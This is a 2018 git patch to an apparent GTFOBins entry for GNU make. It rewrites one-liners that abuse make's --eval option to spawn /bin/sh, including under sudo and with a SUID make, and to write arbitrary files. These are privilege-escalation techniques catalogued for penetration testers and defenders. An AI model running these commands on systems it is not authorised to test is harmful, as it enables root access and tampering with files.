From c31a8a1b6b5338d570f5a4a034c4f3b385dceda9 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Mon, 4 Jun 2018 18:28:58 +0200 Subject: [PATCH] Simplify make --- _gtfobins/make.md | 18 +++++++----------- 1 file changed, 7 insertions(+), 11 deletions(-) diff --git a/_gtfobins/make.md b/_gtfobins/make.md index fb38728..1dc4451 100644 --- a/_gtfobins/make.md +++ b/_gtfobins/make.md @@ -2,22 +2,18 @@ functions: execute-interactive: - code: | - COMMAND='/bin/sh 1>&2' - make -s --eval="a := \$(info \$(shell $COMMAND))" --eval='all:' - execute-non-interactive: - - code: | - COMMAND=/usr/bin/id - make -s --eval="a := \$(info \$(shell $COMMAND))" --eval='all:' + COMMAND='/bin/sh' + make -s --eval=$'x:\n\t-'"$COMMAND" sudo-enabled: - code: | - COMMAND=/usr/bin/id - sudo make -s --eval="a := \$(info \$(shell $COMMAND))" --eval='all:' + COMMAND='/bin/sh' + sudo make -s --eval=$'x:\n\t-'"$COMMAND" suid-enabled: - code: | - COMMAND=/usr/bin/id - ./make -s --eval="a := \$(info \$(shell $COMMAND))" --eval='all:' + COMMAND='/bin/sh' + ./make -s --eval=$'x:\n\t-'"$COMMAND" file-write: - code: | LFILE=file_to_write - make -s --eval="a := \$(file >$LFILE,data)" --eval='all:' + make -s --eval="\$(file >$LFILE,data)" . ---